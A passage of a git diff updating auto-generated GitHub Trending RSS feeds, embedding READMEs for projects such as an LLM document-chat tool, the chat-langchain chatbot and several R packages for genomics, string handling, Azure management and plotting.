服务</h2> <p>打开 <a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/tools/README.md">tools/README.md</a> 查看。</p> <h2>SOCKS5 服务</h2> <p>打开 <a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/tools/README.md">tools/README.md</a> 查看。</p> <h2>端口转发服务</h2> <p>打开 <a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/tools/README.md">tools/README.md</a> 查看。</p> <h2>注入 Frida RPC 脚本</h2> <p>打开 <a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/tools/README.md">tools/README.md</a> 查看。</p> <h2>生成加密连接证书</h2> <p>打开 <a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/tools/README.md">tools/README.md</a> 查看。</p> <h2>列出内网设备</h2> <p>打开 <a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/tools/README.md">tools/README.md</a> 查看。</p> <p>如果仍有疑问,请加入社区讨论:<a href="https://t.me/lamda_dev">电报 t.me/lamda_dev</a></p> - junruxiong/IncarnaMind - 2023-09-19T01:37:14Z - tag:github.com,2023-09-19:/junruxiong/IncarnaMind - - <p>Connect and chat with your multiple documents (pdf and txt) through GPT and Claude LLMs in a minute</p><hr><h1>🧠 IncarnaMind</h1> <h2>👀 In a Nutshell</h2> <p>IncarnaMind enables you to chat with your personal documents 📁 (PDF, TXT) using Large Language Models (LLMs) like GPT (<a href="https://raw.githubusercontent.com/junruxiong/IncarnaMind/main/#high-level-architecture">architecture overview</a>). While OpenAI has recently launched a fine-tuning API for GPT models, it doesn't enable the base pretrained models to learn new data, and the responses can be prone to factual hallucinations. Utilize our <a href="https://raw.githubusercontent.com/junruxiong/IncarnaMind/main/#sliding-window-chunking">Sliding Window Chunking</a> mechanism and Emsemble Retriever enable efficient querying of both fine-grained and coarse-grained information within your ground truth documents to augment the LLMs.</p> <p>Please feel free to use it and welcome any feedback and new feature suggestions 🙌.</p> <p>Powered by <a href="https://github.com/langchain-ai/langchain">Langchain</a> and <a href="https://github.com/chroma-core/chroma">Chroma DB</a>.</p> <h2>💻 Demo</h2> <p><a href="https://github.com/junruxiong/IncarnaMind/assets/44308338/89d479fb-de90-4f7c-b166-e54f7bc7344c">https://github.com/junruxiong/IncarnaMind/assets/44308338/89d479fb-de90-4f7c-b166-e54f7bc7344c</a></p> <h2>💡 Challenges Addressed</h2> <ul> <li> <p><strong>Fixed Chunking</strong>: Our Sliding Window Chunking technique provides a balanced solution in terms of time, computing power, and performance.</p> </li> <li> <p><strong>Precision vs. Semantics</strong>: Small chunks enable fine-grained information retrieval, while large chunks focus on coarse-grained data. We leverage both embedding-based and BM25 methods for a hybrid search approach.</p> </li> <li> <p><strong>Single-Document Limitation</strong>: IncarnaMind supports multi-document querying, breaking the one-document-at-a-time barrier.</p> </li> <li> <p><strong>Stability</strong>: We use Chains instead of Agent to ensure stable parsing across different LLMs.</p> </li> </ul> <h2>🎯 Key Features</h2> <ul> <li> <p><strong>Adaptive Chunking</strong>: Dynamically adjust the size and position of text chunks to improve retrieval augmented generation (RAG).</p> </li> <li> <p><strong>Multi-Document Conversational QA</strong>: Perform simmple and multi-hop queries across multiple documents simultaneously.</p> </li> <li> <p><strong>File Compatibility</strong>: Supports both PDF and TXT file formats.</p> </li> <li> <p><strong>LLM Model Compatibility</strong>: Supports both OpenAI GPT and Anthropic Claude models.</p> </li> </ul> <h2>🏗 Architecture</h2> <h3>High Level Architecture</h3> <p><img src="https://raw.githubusercontent.com/junruxiong/IncarnaMind/main/figs/High_Level_Architecture.png" alt="image"></p> <h3>Sliding Window Chunking</h3> <p><img src="https://raw.githubusercontent.com/junruxiong/IncarnaMind/main/figs/Sliding_Window_Chunking.png" alt="image"></p> <h2>🚀 Getting Started</h2> <h3>1. Installation</h3> <p>The installation is simple, you just need run few commands.</p> <h4>1.0. Prerequisites</h4> <ul> <li>3.8 ≤ Python &lt; 3.11 with <a href="https://www.anaconda.com/download">Conda</a></li> <li><a href="https://beta.openai.com/signup">OpenAI API Key</a> or <a href="https://console.anthropic.com/account/keys">Anthropic Claude API Key</a></li> <li>And of course, your own documents.</li> </ul> <h4>1.1. Clone the repository</h4> <pre><code class="language-shell">git clone https://github.com/junruxiong/IncarnaMind cd IncarnaMind </code></pre> <h4>1.2. Setup</h4> <p>Create Conda virtual environment</p> <pre><code class="language-shell">conda create -n IncarnaMind python=3.10 </code></pre> <p>Activate</p> <pre><code class="language-shell">conda activate IncarnaMind </code></pre> <p>Install all requirements</p> <pre><code class="language-shell">pip install -r requirements.txt </code></pre> <p>Setup your API keys in <strong>configparser.ini</strong> file</p> <pre><code class="language-shell">[tokens] OPENAI_API_KEY = sk-(replace_me) and/or ANTHROPIC_API_KEY = sk-(replace_me) </code></pre> <p>(Optional) Setup your custom parameters in <strong>configparser.ini</strong> file</p> <pre><code class="language-shell">[parameters] PARAMETERS 1 = (replace_me) PARAMETERS 2 = (replace_me) ... PARAMETERS n = (replace_me) </code></pre> <h3>2. Usage</h3> <h4>2.1. Upload and process your files</h4> <p>Put all your files (please name each file correctly to maximize the performance) into the <strong>/data</strong> directory and run the following command to ingest all data: (You can delete example files in the <strong>/data</strong> directory before running the command)</p> <pre><code class="language-shell">python docs2db.py </code></pre> <h4>2.2. Run</h4> <p>In order to start the conversation, run a command like:</p> <pre><code class="language-shell">python main.py </code></pre> <h4>2.3. Chat and ask any questions</h4> <p>Wait for the script to require your input like the below.</p> <pre><code class="language-shell">Human: </code></pre> <h4>2.4. Others</h4> <p>When you start a chat, the system will automatically generate a <strong>IncarnaMind.log</strong> file. If you want to edit the logging, please edit in the <strong>configparser.ini</strong> file.</p> <pre><code class="language-shell">[logging] enabled = True level = INFO filename = IncarnaMind.log format = %(asctime)s [%(levelname)s] %(name)s: %(message)s </code></pre> <h2>🚫 Limitations</h2> <ul> <li>Citation is not supported for current version, but will release soon.</li> <li>Limited asynchronous capabilities.</li> </ul> <h2>📝 Upcoming Features</h2> <ul> <li>Frontend UI interface</li> <li>OCR support</li> <li>Asynchronous optimization</li> <li>Support open source LLMs</li> <li>Support more document formats</li> </ul> <h2>📑 License</h2> <p><a href="https://raw.githubusercontent.com/junruxiong/IncarnaMind/main/LICENSE">Apache 2.0 License</a></p> <h2>🖋 Citation</h2> <p>If you want to cite our work, please use the following bibtex entry:</p> <pre><code class="language-bibtex">@misc{IncarnaMind2023, author = {Junru Xiong}, title = {IncarnaMind}, year = {2023}, publisher = {GitHub}, journal = {GitHub Repository}, howpublished = {\url{https://github.com/junruxiong/IncarnaMind}} } </code></pre> + langchain-ai/chat-langchain + 2023-09-20T01:38:37Z + tag:github.com,2023-09-20:/langchain-ai/chat-langchain + + <p></p><hr><h1>🦜️🔗 Chat LangChain</h1> <p>This repo is an implementation of a locally hosted chatbot specifically focused on question answering over the <a href="https://langchain.readthedocs.io/en/latest/">LangChain documentation</a>. Built with <a href="https://github.com/hwchase17/langchain/">LangChain</a>, <a href="https://fastapi.tiangolo.com/">FastAPI</a>, and <a href="https://nextjs.org">Next.js</a>.</p> <p>Deployed version: <a href="https://chat.langchain.com">chat.langchain.com</a></p> <p>The app leverages LangChain's streaming support and async API to update the page in real time for multiple users.</p> <h2>✅ Running locally</h2> <ol> <li>Install backend dependencies: <code>poetry install</code>.</li> <li>Run <code>python ingest.py</code> to ingest LangChain docs data into the Weaviate vectorstore (only needs to be done once). <ol> <li>You can use other <a href="https://langchain.readthedocs.io/en/latest/modules/document_loaders.html">Document Loaders</a> to load your own data into the vectorstore.</li> </ol> </li> <li>Run the backend with <code>make start</code>. <ol> <li>Make sure to enter your environment variables to configure the application:</li> </ol> <pre><code>export OPENAI_API_KEY= export WEAVIATE_URL= export WEAVIATE_API_KEY= # for tracing export LANGCHAIN_TRACING_V2=true export LANGCHAIN_ENDPOINT="https://api.smith.langchain.com" export LANGCHAIN_API_KEY= export LANGCHAIN_PROJECT= </code></pre> </li> <li>Install frontend dependencies by running <code>cd chat-langchain</code>, then <code>yarn</code>.</li> <li>Run the frontend with <code>yarn dev</code> for frontend.</li> <li>Open <a href="http://localhost:3000">localhost:3000</a> in your browser.</li> </ol> <h2>📚 Technical description</h2> <p>There are two components: ingestion and question-answering.</p> <p>Ingestion has the following steps:</p> <ol> <li>Pull html from documentation site as well as the Github Codebase</li> <li>Load html with LangChain's <a href="https://python.langchain.com/docs/integrations/document_loaders/recursive_url_loader">RecursiveURLLoader Loader</a></li> <li>Transform html to text with <a href="https://python.langchain.com/docs/integrations/document_transformers/html2text">Html2TextTransformer</a></li> <li>Split documents with LangChain's <a href="https://api.python.langchain.com/en/latest/text_splitter/langchain.text_splitter.RecursiveCharacterTextSplitter.html">RecursiveCharacterTextSplitter</a></li> <li>Create a vectorstore of embeddings, using LangChain's <a href="https://python.langchain.com/docs/integrations/vectorstores/weaviate">Weaviate vectorstore wrapper</a> (with OpenAI's embeddings).</li> </ol> <p>Question-Answering has the following steps, all handled by <a href="https://python.langchain.com/docs/modules/agents/agent_types/openai_functions_agent">OpenAIFunctionsAgent</a>:</p> <ol> <li>Given the chat history and new user input, determine what a standalone question would be (using GPT-3.5).</li> <li>Given that standalone question, look up relevant documents from the vectorstore.</li> <li>Pass the standalone question and relevant documents to GPT-4 to generate and stream the final answer.</li> <li>Generate a trace URL for the current chat session, as well as the endpoint to collect feedback.</li> </ol> <h2>🚀 Deployment</h2> <p>Deploy the frontend Next.js app as a serverless Edge function on Vercel <a href="">by clicking here</a>. You'll need to populate the <code>NEXT_PUBLIC_API_BASE_URL</code> environment variable with the base URL you've deployed the backend under (no trailing slash!).</p> <p>Blog Posts:</p> <ul> <li><a href="https://blog.langchain.dev/langchain-chat/">Initial Launch</a></li> <li><a href="https://blog.langchain.dev/streaming-support-in-langchain/">Streaming Support</a></li> </ul> \ No newline at end of file diff --git a/q%23/daily/index.xml b/q%23/daily/index.xml index 02fb820a3f1..49874e88263 100644 --- a/q%23/daily/index.xml +++ b/q%23/daily/index.xml @@ -1,7 +1,7 @@ GitHub Q# Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:35Z + 2023-09-20T01:39:07Z Daily Trending of Q# in GitHub \ No newline at end of file diff --git a/q/daily/index.xml b/q/daily/index.xml index 2c942bc2334..c3fc1b1cc89 100644 --- a/q/daily/index.xml +++ b/q/daily/index.xml @@ -1,7 +1,7 @@ GitHub q Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:34Z + 2023-09-20T01:39:05Z Daily Trending of q in GitHub \ No newline at end of file diff --git a/qmake/daily/index.xml b/qmake/daily/index.xml index 5a3189d541e..6cce833c4f8 100644 --- a/qmake/daily/index.xml +++ b/qmake/daily/index.xml @@ -1,7 +1,7 @@ GitHub QMake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:37Z + 2023-09-20T01:39:06Z Daily Trending of QMake in GitHub \ No newline at end of file diff --git a/qml/daily/index.xml b/qml/daily/index.xml index f9047dec323..1572f79afbf 100644 --- a/qml/daily/index.xml +++ b/qml/daily/index.xml @@ -1,7 +1,7 @@ GitHub QML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:42Z + 2023-09-20T01:39:12Z Daily Trending of QML in GitHub \ No newline at end of file diff --git a/qt-script/daily/index.xml b/qt-script/daily/index.xml index d616af62dcd..aea025e3e9f 100644 --- a/qt-script/daily/index.xml +++ b/qt-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub Qt Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:38Z + 2023-09-20T01:39:09Z Daily Trending of Qt Script in GitHub \ No newline at end of file diff --git a/quake/daily/index.xml b/quake/daily/index.xml index 7f611e9ae30..6f4ec1e9979 100644 --- a/quake/daily/index.xml +++ b/quake/daily/index.xml @@ -1,7 +1,7 @@ GitHub Quake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:39Z + 2023-09-20T01:39:10Z Daily Trending of Quake in GitHub \ No newline at end of file diff --git a/r/daily/index.xml b/r/daily/index.xml index 96c9056b2a8..7af419e3c46 100644 --- a/r/daily/index.xml +++ b/r/daily/index.xml @@ -1,28 +1,21 @@ GitHub R Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:42Z + 2023-09-20T01:39:15Z Daily Trending of R in GitHub - PoolLab/ReferenceEnhancer - 2023-09-19T01:37:42Z - tag:github.com,2023-09-19:/PoolLab/ReferenceEnhancer - - <p></p><hr><h1>ReferenceEnhancer</h1> <p>The goal of ReferenceEnhancer is to generate a scRNA-seq optimized transcriptomic reference.</p> <p>Generating a scRNA-seq optimized transcriptomic reference requires optimizing the genome annotation ("xxx.gtf") file that transcriptomic references are based on.</p> <p>The following three aspects of genome annotations need to be optimized: A) Resolving gene overlap derived read loss; B) Recovering intergenic reads from 3' un-annotated exons; and C) Recovering intronic reads.</p> <p>After optimizing and assembling the genome annotation, you can use "cellranger mkref" pipeline to assemble the optimized transcriptomic reference for mapping sequencing read data and compiling gene-cell matrices with the "cellranger count" (or other) pipeline.</p> <h2>Installation</h2> <p>You can install the development version of ReferenceEnhancer as follows:</p> <pre><code class="language-r">install.packages("devtools") require(devtools) install_github("PoolLab/ReferenceEnhancer") </code></pre> <h2>Example</h2> <h1>This is a sample workflow of the package:</h1> <p>This is the basic workflow for optimizing a genome annotation for single-cell RNA-seq work using ReferenceEnhancer:</p> <ol> <li>Load ReferenceEnhancer and import ENSEMBL/10x Genomics default genome annotation file (GTF).</li> </ol> <p>This file can be downloaded from 10x Genomics provided reference transcriptome "gene" folder at "<a href="https://support.10xgenomics.com/single-cell-gene-expression/software/downloads/latest">https://support.10xgenomics.com/single-cell-gene-expression/software/downloads/latest</a>" or Ensembl.org if wish to customize more.</p> <p>For testing, we have provided a sample file.</p> <p>library(ReferenceEnhancer)</p> <p>genome_annotation &lt;- LoadGtf(unoptimized_annotation_path = "test_genes.gtf")</p> <ol start="2"> <li>Identify all overlapping genes based on the ENSEMBL/10x Genomics default genome annotation file (GTF), rank-order them according to the number of gene overlaps.</li> </ol> <p>Prioritize this gene list for manual curation focusing on exonically overlapping genes. The function saves the list of overlapping genes in working directory as overlapping_gene_list.csv.</p> <p>gene_overlaps &lt;- IdentifyOverlappers(genome_annotation = genome_annotation)</p> <ol start="3"> <li>Generate recommended actions for overlapping genes based on original genome annotation .gtf file and a list of overlapping genes.</li> </ol> <p>The function updates overlapping_gene_list.csv file with added recommendations.</p> <p>OverlapResolutions(genome_annotation = genome_annotation, overlap_data = gene_overlaps, gene_pattern = c("Rik$", "^Gm"))</p> <ol start="4"> <li>Extract intergenic reads from Cell Ranger aligned bam file. The function saves extracted intergenic reads in working directory as intergenic_reads.bed.</li> </ol> <p>IsolateIntergenicReads(bam_file_name = "test_bam.bam", index_file_name = "test_index.bam.bai", barcode_length = 26)</p> <ol start="5"> <li>Generate gene boundaries in order to assign intergenic reads to a specific gene. The function save resulting in working directory as gene_ranges.bed.</li> </ol> <p>Note: This step runs partially in bash/linux terminal. Before this step, make sure that bedops (<a href="https://bedops.readthedocs.io/en/latest/">https://bedops.readthedocs.io/en/latest/</a>) has been installed to your computer.</p> <p>GenerateGeneLocationBed(genome_annotation = genome_annotation, bedops_loc = NULL)</p> <ol start="6"> <li>Identify candidate genes for extension with excess 3' intergenic reads and create a rank ordered list of genes as a function of 3' intergenic read mapping within 10kb of known gene end. A rank ordered list of gene extension candidates is saved in working directory as gene_extension_candidates.csv.</li> </ol> <p>Note: This step runs partially in bash/linux terminal. Before this step, make sure that bedtools (<a href="https://bedtools.readthedocs.io/en/latest/content/installation.html">https://bedtools.readthedocs.io/en/latest/content/installation.html</a>) has been installed to your computer and that it has been added to to the path in your R environment.</p> <p>GenerateExtensionCandidates(bedtools_loc = NULL)</p> <ol start="7"> <li>Create the final optimized annotation file. The function saves the result in working directory as optimized_reference.gtf.</li> </ol> <p>OptimizedAnnotationAssembler(unoptimized_annotation_path = "test_genes.gtf", gene_overlaps = "test_overlapping_gene_list.csv", gene_extension = "gene_extension_candidates.csv", gene_replacement = "test_gene_replacement.csv")</p> + hadley/stringb + 2023-09-20T01:39:15Z + tag:github.com,2023-09-20:/hadley/stringb + + <p>A dependency-free version of stringr</p><hr><h1>stringb</h1> <!-- badges: start --> <p><a href="https://codecov.io/gh/hadley/stringb?branch=master"><img src="https://codecov.io/gh/hadley/stringb/branch/master/graph/badge.svg?sanitize=true" alt="Codecov test coverage"></a> <a href="https://github.com/hadley/stringb/actions/workflows/R-CMD-check.yaml"><img src="https://github.com/hadley/stringb/actions/workflows/R-CMD-check.yaml/badge.svg?sanitize=true" alt="R-CMD-check"></a></p> <!-- badges: end --> <p>stringb provides a zero-dependency (mostly) drop in replacement for stringr implemented on top of base R regular expressions. This is useful if you are finding stringr's stringi dependency to be onerous for your users (since it requires compilation and a large unicode database).</p> <p>stringb should match stringr behaviour as much as possible. The main exceptions are listed below:</p> <ul> <li> <p>stringb uses either Perl-compatible regexps (the default) or POSIX 1003.2 extended regexps (with <code>regexp()</code>). By and large, these are represent subsets of the ICU backed engine that stringi provides, but there maybe be subtle differences in edge cases.</p> </li> <li> <p>stringr always returns UTF-8 encoded strings; stringb follows the same rules as base R.</p> </li> <li> <p>Most stringr functions are recycled over all arguments. stringb provides much more limited recycling: <code>pattern</code> is not recycled; and <code>str_sub()</code> only recycles <code>start</code> and <code>stop</code>, not <code>string</code>.</p> </li> </ul> <h2>Installation</h2> <p>You can install the development version of stringb with:</p> <pre><code class="language-r">remotes::install_github("hadley/stringb") </code></pre> - trevor-harris/GeneralOptimization_GradientMethods - 2023-09-19T01:37:42Z - tag:github.com,2023-09-19:/trevor-harris/GeneralOptimization_GradientMethods - - <p></p><hr> - - - Azure/AzureRMR - 2023-09-19T01:37:42Z - tag:github.com,2023-09-19:/Azure/AzureRMR - - <p>R package for interacting with Azure Resource Manager</p><hr><h1>AzureRMR <img src="https://raw.githubusercontent.com/Azure/AzureRMR/master/man/figures/logo.png" align="right" width="150"></h1> <p><a href="https://cran.r-project.org/package=AzureRMR"><img src="https://www.r-pkg.org/badges/version/AzureRMR" alt="CRAN"></a> <img src="https://cranlogs.r-pkg.org/badges/AzureRMR" alt="Downloads"> <img src="https://github.com/Azure/AzureRMR/workflows/R-CMD-check/badge.svg?sanitize=true" alt="R-CMD-check"></p> <p>AzureRMR is a package for interacting with Azure Resource Manager: list subscriptions, manage resource groups, deploy and delete templates and resources. It calls the Resource Manager <a href="https://docs.microsoft.com/en-us/rest/api/resources">REST API</a> directly, so you don't need to have PowerShell or Python installed. Azure Active Directory OAuth tokens are obtained using the <a href="https://github.com/Azure/AzureAuth">AzureAuth</a> package.</p> <p>The primary repo for this package is at <a href="https://github.com/Azure/AzureRMR">https://github.com/Azure/AzureRMR</a>; please submit issues and PRs there. It is also mirrored at the Cloudyr org at <a href="https://github.com/cloudyr/AzureRMR">https://github.com/cloudyr/AzureRMR</a>. You can install the development version of the package with <code>devtools::install_github("Azure/AzureRMR")</code>.</p> <h2>Authentication</h2> <p>Under the hood, AzureRMR uses a similar authentication process to the <a href="https://docs.microsoft.com/en-us/cli/azure/?view=azure-cli-latest">Azure CLI</a>. The first time you authenticate with a given Azure Active Directory tenant, you call <code>create_azure_login()</code> and supply your credentials. AzureRMR will prompt you for permission to create a special data directory in which to cache the obtained authentication token and Resource Manager login. Once this information is saved on your machine, it can be retrieved in subsequent R sessions with <code>get_azure_login()</code>. Your credentials will be automatically refreshed so you don't have to reauthenticate.</p> <p>Unless you have a specific reason otherwise, it's recommended that you allow AzureRMR to create this caching directory. Note that many other cloud engineering tools save credentials in this way, including the Azure CLI itself.</p> <p>See the "Authentication basics" vignette for more details on how to authenticate with AzureRMR.</p> <h2>Sample workflow</h2> <pre><code class="language-r">library(AzureRMR) # authenticate with Azure AD: # - on first login to this client, call create_azure_login() # - on subsequent logins, call get_azure_login() az &lt;- create_azure_login() # get a subscription and resource group sub &lt;- az$get_subscription("{subscription_id}") rg &lt;- sub$get_resource_group("rgname") # get a resource (storage account) stor &lt;- rg$get_resource(type="Microsoft.Storage/storageAccounts", name="mystorage") # method chaining works too stor &lt;- az$ get_subscription("{subscription_id}")$ get_resource_group("rgname")$ get_resource(type="Microsoft.Storage/storageAccounts", name="mystorage") # create a new resource group and resource rg2 &lt;- sub$create_resource_group("newrgname", location="westus") stor2 &lt;- rg2$create_resource(type="Microsoft.Storage/storageAccounts", name="mystorage2", kind="Storage", sku=list(name="Standard_LRS")) # tagging stor2$set_tags(comment="hello world!", created_by="AzureRMR") # role-based access control (RBAC) # this uses the AzureGraph package to retrieve the user ID gr &lt;- AzureGraph::get_graph_login() usr &lt;- gr$get_user("username@aadtenant.com") stor2$add_role_assignment(usr, "Storage blob data contributor") # pass the GUID of the principal if you don't have AzureGraph installed stor2$add_role_assignment("041ff2be-4eb0-11e9-8f38-394fbcd0b29d", "Storage blob data contributor") </code></pre> <h2>Extending</h2> <p>AzureRMR is meant to be a generic mechanism for working with Resource Manager. You can extend it to provide support for service-specific features; examples of packages that do this include <a href="https://github.com/Azure/AzureVM">AzureVM</a> for <a href="https://azure.microsoft.com/en-us/services/virtual-machines/">virtual machines</a>, and <a href="https://github.com/Azure/AzureStor">AzureStor</a> for <a href="https://azure.microsoft.com/en-us/product-categories/storage/">storage accounts</a>. For more information, see the <a href="https://raw.githubusercontent.com/Azure/AzureRMR/master/vignettes/extend.Rmd">"Extending AzureRMR" vignette</a>.</p> <h2>Acknowledgements</h2> <p>AzureRMR is inspired by the package AzureSMR, originally written by Alan Weaver and Andrie de Vries, and would not have been possible without their pioneering work. Thanks, guys!</p> <hr> <p align="center"><a href="https://github.com/Azure/AzureR"><img src="https://github.com/Azure/AzureR/raw/master/images/logo2.png" width="800"></a></p> + SomaLogic/SomaPlotr + 2023-09-20T01:39:15Z + tag:github.com,2023-09-20:/SomaLogic/SomaPlotr + + <p>A highly specialized suite of standardized plotting routines based on the "Grammar of Graphics" framework of mapping variables to aesthetics used in 'ggplot2'. Graphics types are biased towards visualizing SomaScan (proteomic) data.</p><hr><h1><code>SomaPlotr</code> <a href="https://somalogic.github.io/SomaPlotr"><img src="https://raw.githubusercontent.com/SomaLogic/SomaPlotr/main/man/figures/logo.png" align="right" height="138" alt=""></a></h1> <!-- badges: start --> <p><img src="https://img.shields.io/badge/Version-0.0.0.9000-success.svg?style=flat&amp;logo=github" alt="GitHub version"> <a href="https://cran.r-project.org/package=SomaPlotr"><img src="http://www.r-pkg.org/badges/version/SomaPlotr" alt="CRAN status"></a> <a href="https://cran.r-project.org/package=SomaPlotr"><img src="https://cranlogs.r-pkg.org/badges/grand-total/SomaPlotr" alt=""></a> <a href="https://github.com/SomaLogic/SomaPlotr/actions"><img src="https://github.com/SomaLogic/SomaPlotr/workflows/R-CMD-check/badge.svg?sanitize=true" alt="R-CMD-check"></a> <a href="https://app.codecov.io/gh/SomaLogic/SomaPlotr?branch=main"><img src="https://codecov.io/gh/SomaLogic/SomaPlotr/branch/main/graph/badge.svg?sanitize=true" alt="Codecov test coverage"></a> <a href="https://lifecycle.r-lib.org/articles/stages.html#experimental"><img src="https://img.shields.io/badge/lifecycle-experimental-orange.svg?sanitize=true" alt="Lifecycle: experimental"></a> <a href="https://choosealicense.com/licenses/mit/"><img src="https://img.shields.io/badge/License-MIT-blue.svg?sanitize=true" alt="License: MIT"></a></p> <!-- badges: end --> <h2>Overview</h2> <p>The <code>SomaPlotr</code> R package contains various standardized plotting functions designed to visualize SomaScan data in the R statistical environment. <code>SomaPlotr</code> is based on the “Grammar of Graphics” (<a href="https://link.springer.com/book/10.1007/0-387-28695-0">Wilkinson, 2005</a>), the same layered framework of mapping variables to aesthetics that provides a structure for <a href="https://cran.r-project.org/package=ggplot2">ggplot2</a>. As such, <code>SomaPlotr</code> largely utilizes ggplot-style syntax, and can easily and quickly create fully labeled, colored figures of SomaScan data.</p> <p><code>SomaPlotr</code> is designed to generate figures that are well-suited for the exploration and visualization of SomaScan data. <code>SomaPlotr</code> is therefore biased in towards cumulative distribution function (CDF) plots, probability density function (PDF) plots, volcano and concordance plots, grouped boxplots, and more.</p> <p>Each panel in the figure below were generated with <code>SomaPlotr</code> and pieced together into a grid with the <a href="https://cran.r-project.org/package=patchwork">patchwork</a> package. Read on to learn how you can create these types of graphics using <code>SomaPlotr</code>.</p> <img src="https://raw.githubusercontent.com/SomaLogic/SomaPlotr/main/man/figures/README-plot-grid-1.png" style="display: block; margin: auto auto auto 0;"> <p>For a full table of the visualizations that can be created with <code>SomaPlotr</code>, see the <em>Usage</em> section below.</p> <hr> <h2>Installation</h2> <p><code>SomaPlotr</code> can be installed from <a href="https://github.com/SomaLogic/SomaPlotr">GitHub</a> using the <code>remotes</code> package as follows:</p> <pre><code class="language-r">remotes::install_github("SomaLogic/SomaPlotr") </code></pre> <h2>Usage</h2> <p>To load <code>SomaPlotr</code>, simply make a call to <code>library()</code>:</p> <pre><code class="language-r">library(SomaPlotr) </code></pre> <p><code>SomaPlotr</code> provides tools to create figures commonly used for the visualization of SomaScan data. While the package does not include a comprehensive list of all possible graphics, those that it <em>does</em> contain are popular for exploring and analyzing patterns in SomaScan.</p> <h2>Primary Functionality</h2> <p>The table below provides a high-level summary of the graphics that can be created with <code>SomaPlotr</code>:</p> <table> <thead> <tr> <th align="left">Plot type</th> <th align="left">Function(s)</th> </tr> </thead> <tbody> <tr> <td align="left">CDF</td> <td align="left"><code>plotCDF()</code>, <code>plotCDFlist()</code>, <code>plotCDFbyGroup()</code></td> </tr> <tr> <td align="left">PDF</td> <td align="left"><code>plotPDF()</code>, <code>plotPDFlist()</code>, <code>plotCDFbyGroup()</code></td> </tr> <tr> <td align="left">Volcano</td> <td align="left"><code>plotVolcano()</code>, <code>plotVolcanoHTML()</code></td> </tr> <tr> <td align="left">Concordance</td> <td align="left"><code>plotConcord()</code></td> </tr> <tr> <td align="left">Histogram</td> <td align="left"><code>plotDoubleHist()</code></td> </tr> <tr> <td align="left">Boxplot</td> <td align="left"><code>boxplotBeeswarm()</code>, <code>boxplotGrouped()</code>, <code>boxplotSubarray()</code></td> </tr> <tr> <td align="left">Longitudinal</td> <td align="left"><code>plotLongitudinal()</code></td> </tr> </tbody> </table> <h2>Examples</h2> <p>The plotting functions in <code>SomaPlotr</code> require a SomaScan dataset as input, and generate a complete, labeled figure that can be further customized and modified, if desired.</p> <p>Using <code>SomaPlotr</code>, the previously shown boxplot comparing RFU values across groups can be generated via <code>boxplotGrouped()</code>:</p> <pre><code class="language-r"># Simulate an example dataset timepoint &lt;- c("Treatment", "Relapse", "Remission") withr::with_seed(101, { clin_df &lt;- data.frame( TimePoint = sample(timepoint, 80, replace = TRUE), seq.1234.56 = stats::rnorm(80, mean = 12, sd = 5) ) }) # Create grouped boxplot w/ customized title boxplotGrouped( clin_df, y = "seq.1234.56", group.var = "TimePoint", beeswarm = TRUE, main = "Box Plot of Sample Timepoint" ) </code></pre> <img src="https://raw.githubusercontent.com/SomaLogic/SomaPlotr/main/man/figures/README-bx-plot-1.png" style="display: block; margin: auto auto auto 0;"> <p>Similarly, we can replicate the CDF plot in the introductory figure above via <code>plotCDF()</code>:</p> <pre><code class="language-r">x &lt;- withr::with_seed(101, rnorm(100, mean = 4)) cdf &lt;- plotCDF(x) cdf </code></pre> <img src="https://raw.githubusercontent.com/SomaLogic/SomaPlotr/main/man/figures/README-cdf-1.png" width="60%" style="display: block; margin: auto auto auto 0;"> <p>A quantile/percentile line (the <span style="color:red">red line</span> in the figure below) can be added to an existing CDF plot via <code>addCDFquantiles()</code>:</p> <pre><code class="language-r">cdf + addCDFquantiles(x, col = "red") </code></pre> <img src="https://raw.githubusercontent.com/SomaLogic/SomaPlotr/main/man/figures/README-cdf-quantiles-1.png" width="60%" style="display: block; margin: auto auto auto 0;"> <p>For a more in-depth overview of the package and a full list of example plots, please see the package vignette: <code>vignette("SomaPlotr", package = "SomaPlotr")</code>.</p> <hr> <h2>Color Palettes</h2> <p><code>SomaPlotr</code> provides color palettes that correspond to SomaLogic Operating Co., Inc. company color schemes:</p> <pre><code class="language-r">scales::show_col(palette_soma(n = 8)) </code></pre> <img src="https://raw.githubusercontent.com/SomaLogic/SomaPlotr/main/man/figures/README-palette-soma-1.png" width="60%" style="display: block; margin: auto auto auto 0;"> <p>These palettes can be incorporated into figures in a variety of ways. The <code>soma_colors</code> and <code>soma_colors2</code> objects provide individual hex colors for the SomaLogic color scheme. These objects can be used to transform the <code>ggplot</code> default color palette.</p> <pre><code class="language-r">data.frame(x = seq_along(soma_colors2), y = seq_along(soma_colors2)) |&gt; ggplot(aes(x = x, y = y)) + geom_bar(stat = "identity", fill = soma_colors2) + scale_x_discrete(labels = names(soma_colors2)) + theme(axis.title.y = element_blank(), axis.text.y = element_blank(), axis.ticks.y = element_blank()) </code></pre> <img src="https://raw.githubusercontent.com/SomaLogic/SomaPlotr/main/man/figures/README-soma-colors2-1.png" width="60%" style="display: block; margin: auto auto auto 0;"> <h2>Themes</h2> <p>The <code>theme_soma()</code> theme and <code>scale_color_soma()</code> functions provide a uniform plotting and color scheme. By using the <code>theme_soma()</code> theme, polished, publication ready figures can be generated with consistent font sizes, backgrounds, legend positions, and more.</p> <p>Below on the left, <code>p1</code> was created with the default <a href="https://cran.r-project.org/package=ggplot2">ggplot2</a> theme. On the right, <code>p2</code> has the <code>theme_soma()</code> theme and <code>scale_color_soma()</code> color scale applied.</p> <pre><code class="language-r">p1 &lt;- ggplot(mtcars, aes(x = hp, y = mpg, color = factor(cyl))) + geom_point(alpha = 0.5, size = 4) p2 &lt;- p1 + theme_soma(base_size = 15) + scale_color_soma() p1 + p2 </code></pre> <img 